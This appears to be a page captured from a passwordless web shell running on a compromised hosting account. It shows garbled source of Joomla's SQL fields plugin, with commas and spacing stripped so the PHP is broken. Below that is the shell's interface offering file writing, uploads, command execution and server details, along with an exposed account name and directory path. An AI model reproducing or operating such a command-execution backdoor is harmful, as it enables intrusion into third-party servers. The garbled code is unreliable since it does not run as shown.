( ◞≼☸≽◟ ._ゝ◞≼☸≽◟)zcsdf吖 <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Sql
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldslistplugin'JPATH_ADMINISTRATOR);

/**
 * Fields Sql Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsSql extends FieldsListPlugin
{
    
/**
     * Transforms the field into a DOM XML element and appends it as a child on the given parent.
     *
     * @param   stdClass    $field   The field.
     * @param   DOMElement  $parent  The field node parent.
     * @param   JForm       $form    The form.
     *
     * @return  DOMElement
     *
     * @since   3.7.0
     */
    
public function onCustomFieldsPrepareDom($fieldDOMElement $parentJForm $form)
    {
        
$fieldNode parent::onCustomFieldsPrepareDom($field$parent$form);

        if (!
$fieldNode)
        {
            return 
$fieldNode;
        }

        
$fieldNode->setAttribute('value_field''text');
        
$fieldNode->setAttribute('key_field''value');

        return 
$fieldNode;
    }

    
/**
     * The save event.
     *
     * @param   string   $context  The context
     * @param   JTable   $item     The table
     * @param   boolean  $isNew    Is new item
     * @param   array    $data     The validated data
     *
     * @return  boolean
     *
     * @since   3.7.0
     */
    
public function onContentBeforeSave($context$item$isNew$data = array())
    {
        
// Only work on new SQL fields
        
if ($context != 'com_fields.field' || !isset($item->type) || $item->type != 'sql' || !$isNew)
        {
            return 
true;
        }

        
// If we are not a super admin, don't let the user create a SQL field
        
if (!JAccess::getAssetRules(1)->allow('core.admin'JFactory::getUser()->getAuthorisedGroups()))
        {
            
$item->setError(JText::_('PLG_FIELDS_SQL_CREATE_NOT_POSSIBLE'));

            return 
false;
        }

        
$rules $item->getRules()->getData();

        
// Only change the edit rule and when it is empty
        
if (key_exists('core.edit'$rules) && !$rules['core.edit']->getData())
        {
            
// Set the denied flag on the root group
            
$rules['core.edit']->mergeIdentity(1false);
            
JFactory::getApplication()->enqueueMessage(JText::_('PLG_FIELDS_SQL_RULES_ADAPTED'), 'warning');
        }

        return 
true;
    }
}
File Manager (Güvensiz Simülasyon)

Web File Manager (Şifresiz)

Viewing File: sql.php

📄 File Browser

Directory:

Current Directory: /home/sarayaglobal/sanistar.pro/images/measurements-sheet/js

✏️ Write/Create File

Filename:


⬆️ Upload File

💻 Command Execution

Command:

📊 Server Info

PHP Version: 8.2.30
Server: Apache
User: sarayaglobal
Directory: /home/sarayaglobal/sanistar.pro/images/measurements-sheet/js